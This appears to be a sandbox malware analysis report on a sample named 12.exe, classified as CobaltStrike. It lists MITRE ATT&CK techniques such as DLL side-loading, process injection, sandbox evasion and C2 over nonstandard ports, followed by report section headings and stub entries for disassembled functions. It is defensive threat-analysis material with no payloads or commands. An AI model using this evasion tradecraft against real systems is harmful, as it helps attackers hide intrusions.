Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
12.exe

Function 00DB2C3F Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMON

Function 00DB2C3F Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
networkfileCOMMONLIBRARYCODE

Function 0040116C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Function 00DB7F09 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMON

Function 00DB7F09 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMONLIBRARYCODE

Function 004013C1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Function 004011A3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Function 00401160 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Function 00DBEF82 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMONLIBRARYCODE

Function 0040161C Relevance: 6.1, APIs: 4, Instructions: 56
pipefileCOMMON

Function 00401805 Relevance: 21.0, APIs: 3, Strings: 9, Instructions: 31
threadCOMMON

Function 00DB8060 Relevance: 12.1, APIs: 8, Instructions: 124
COMMONLIBRARYCODE

Function 00DB131C Relevance: 7.8, APIs: 5, Instructions: 308
COMMON

Function 00DB131C Relevance: 7.8, APIs: 5, Instructions: 308
COMMONLIBRARYCODE

Function 0040156C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
memorythreadCOMMON

Function 00401296 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Function 004013B3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON